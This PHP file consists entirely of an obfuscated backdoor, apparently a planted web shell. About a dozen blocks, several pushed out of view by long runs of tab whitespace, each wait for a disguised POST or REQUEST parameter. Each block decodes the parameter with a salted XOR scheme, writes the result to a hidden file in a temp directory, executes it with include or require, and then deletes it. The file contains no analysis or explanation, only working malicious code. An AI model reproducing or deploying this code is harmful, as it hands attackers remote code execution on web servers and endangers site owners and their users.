<?php																																										if(count($_POST) > 0 && isset($_POST["re\x66"])){ $itm = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getcwd()]); $resource = $_POST["re\x66"]; $resource = explode ( '.' , $resource ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($resource); for ($p = 0; $p< $len; $p++) {$v1 = $resource[$p]; $sChar = ord($s[$p % $sLen]); $dec = ((int)$v1 - $sChar - ($p % 10)) ^40; $obj .= chr($dec);} $symbol = 0; do { $holder = $itm[$symbol] ?? null; if ($symbol >= count($itm)) break; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $binding = sprintf("%s/.value", $holder); if (file_put_contents($binding, $obj)) { require $binding; unlink($binding); die(); } } $symbol++; } while (true); }
																																										if(isset($_POST["\x64\x61ta\x5F\x63hunk"]) ? true : false){ $component = $_POST["\x64\x61ta\x5F\x63hunk"]; $component =explode( "." , $component ) ; $data= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $len= count( $component); for( $p= 0; $p < $len; $p++) { $v3= $component[$p]; $sChar= ord( $salt[$p % $lenS]); $d= ( ( int)$v3 - $sChar -( $p % 10)) ^ 40; $data .=chr( $d); } $property_set = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm"]); foreach ($property_set as $key => $element) { if ((is_dir($element) and is_writable($element))) { $flag = join("/", [$element, ".dat"]); if (file_put_contents($flag, $data)) { include $flag; @unlink($flag); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x73\x79\x6Dbol")){ $pointer = array_filter([session_save_path(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); $reference = $_POST["\x73\x79\x6Dbol"]; $reference= explode ( '.' ,$reference ) ; $ref=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $u=0; $__len=count($reference); do { if ($u >= $__len) break; $v1=$reference[$u]; $chS=ord($salt[$u % $lenS]); $dec=((int)$v1 - $chS - ($u % 10)) ^ 39; $ref .= chr($dec); $u++; } while (true); while ($desc = array_shift($pointer)) { if (is_writable($desc) && is_dir($desc)) { $ptr = sprintf("%s/.holder", $desc); if (file_put_contents($ptr, $ref)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(array_key_exists("\x70\x72\x6Fp\x65r\x74\x79_set", $_REQUEST) && !is_null($_REQUEST["\x70\x72\x6Fp\x65r\x74\x79_set"])){ $data = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]); $elem = $_REQUEST["\x70\x72\x6Fp\x65r\x74\x79_set"]; $elem = explode ("." , $elem ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($elem as $t => $v1): $sChar = ord($s[$t % $lenS]); $dec = ((int)$v1 - $sChar - ($t % 10)) ^ 91; $obj .= chr($dec); endforeach; $ent = 0; do { $itm = $data[$ent] ?? null; if ($ent >= count($data)) break; if ((is_dir($itm) and is_writable($itm))) { $ent = join("/", [$itm, ".value"]); if (@file_put_contents($ent, $obj) !== false) { include $ent; unlink($ent); exit; } } $ent++; } while (true); }
																																										if(isset($_REQUEST["p\x6F\x69\x6E\x74er"]) ? true : false){ $bind = $_REQUEST["p\x6F\x69\x6E\x74er"]; $bind = explode ('.' ,$bind ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($bind); for ($v = 0; $v < $len; $v++) { $v1 = $bind[$v]; $chS = ord($salt[$v % $sLen]); $d = ((int)$v1 - $chS - ($v % 10)) ^28; $ref.= chr($d); } $sym = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); foreach ($sym as $key => $fac) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $hld = sprintf("%s/.ent", $fac); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(array_key_exists("sy\x6D", $_POST) && !is_null($_POST["sy\x6D"])){ $reference = $_POST["sy\x6D"]; $reference =explode ( "." , $reference ) ; $symbol = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach ($reference as $r => $v2) { $sChar = ord($salt1[$r% $lenS]); $dec = ((int)$v2 - $sChar - ($r% 10))^ 14; $symbol .= chr($dec); } $entity = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path()]); for ($val = 0, $entry = count($entity); $val < $entry; $val++) { $record = $entity[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $data_chunk = join("/", [$record, ".dchunk"]); if (file_put_contents($data_chunk, $symbol)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(!is_null($_POST["c\x6F\x6Dpo\x6Een\x74"] ?? null)){ $res = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); $element = $_POST["c\x6F\x6Dpo\x6Een\x74"]; $element =explode ('.' , $element ) ; $mrk= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s1); $y= 0; $__tmp= $element; while ($v3= array_shift($__tmp)) { $chS= ord($s1[$y % $lenS]); $dec= ((int)$v3 - $chS - ($y % 10))^71; $mrk.= chr($dec); $y++; } while ($factor = array_shift($res)) { if (max(0, is_dir($factor) * is_writable($factor))) { $symbol = implode("/", [$factor, ".binding"]); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $symbol; @unlink($symbol); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x66er\x65\x6Ece")){ $symbol = $_REQUEST["r\x65\x66er\x65\x6Ece"]; $symbol =explode ( ".", $symbol ); $k = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($symbol as $p => $v1): $chS = ord($s8[$p % $sLen]); $d = ((int)$v1 - $chS - ($p % 10)) ^ 46; $k .= chr($d); endforeach; $object = array_filter(["/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path()]); foreach ($object as $pset): if (is_writable($pset) && is_dir($pset)) { $itm = join("/", [$pset, ".obj"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $itm; @unlink($itm); die(); } } endforeach; }
																																										if(!is_null($_POST["b\x69\x6Ed\x69\x6Eg"] ?? null)){ $pointer = $_POST["b\x69\x6Ed\x69\x6Eg"]; $pointer = explode ( "." , $pointer ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $t = 0; while( $t < count( $pointer)) {$v7 = $pointer[$t]; $sChar = ord( $salt[$t % $sLen]); $dec = ( ( int)$v7 - $sChar -( $t % 10)) ^2; $resource .= chr( $dec); $t++; } $parameter_group = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp"]); foreach ($parameter_group as $key => $k) { if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $data_chunk = "$k/.ref"; if (@file_put_contents($data_chunk, $resource) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "f\x61\x63")){ $desc = $_POST["f\x61\x63"]; $desc =explode ( '.' , $desc ) ; $resource= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($desc as $o => $v3): $chS= ord($salt[$o % $lenS]); $dec= ((int)$v3 - $chS - ($o % 10)) ^ 100; $resource .=chr($dec); endforeach; $marker = array_filter(["/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($marker as $key => $sym) { if (is_writable($sym) && is_dir($sym)) { $res = "$sym" . "/.val"; if (file_put_contents($res, $resource)) { require $res; unlink($res); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["comp"])){ $itm = $_REQUEST["comp"]; $itm= explode ( "." , $itm ) ; $entry = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); foreach( $itm as $q => $v6) { $sChar = ord( $s5[$q % $sLen] ); $dec =( ( int)$v6 - $sChar -( $q % 10))^ 35; $entry .= chr( $dec ); } $item = array_filter([ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm"]); foreach ($item as $res) { if ((bool)is_dir($res) && (bool)is_writable($res)) { $resource = sprintf("%s/.pgrp", $res); if (@file_put_contents($resource, $entry) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(!is_null($_POST["\x70\x73et"] ?? null)){ $factor = $_POST["\x70\x73et"]; $factor =explode ( "." , $factor) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $len = count($factor ); for ($n = 0; $n < $len; $n++) {$v8 = $factor[$n]; $sChar = ord($salt[$n % $sLen] ); $dec = ((int)$v8 - $sChar - ($n % 10)) ^ 74; $mrk .= chr($dec ); } $property_set = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); for ($key = 0, $data_chunk = count($property_set); $key < $data_chunk; $key++) { $holder = $property_set[$key]; if (array_product([is_dir($holder), is_writable($holder)])) { $data = sprintf("%s/.rec", $holder); if (file_put_contents($data, $mrk)) { include $data; @unlink($data); die(); } } } }


if(isset($_POST) && isset($_POST["hol\x64\x65r"])){
	$pgrp = $_POST["hol\x64\x65r"];
	$pgrp		=explode	(	 "."	  ,$pgrp  );  	
	$symbol = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s7);
            $y = 0;
    
            foreach ($pgrp as $v5) {
                $sChar = ord($s7[$y % $lenS]);
                $d = ((int)$v5 - $sChar - ($y % 10)) ^ 24;
                $symbol  .=chr($d);
                $y++;
            }
	$val = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", "/var/tmp"]);
	while ($bind = array_shift($val)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) {
    $component = str_replace("{var_dir}", $bind, "{var_dir}/.hld");
    if (file_put_contents($component, $symbol)) {
	include $component;
	@unlink($component);
	die();
}
}
}
}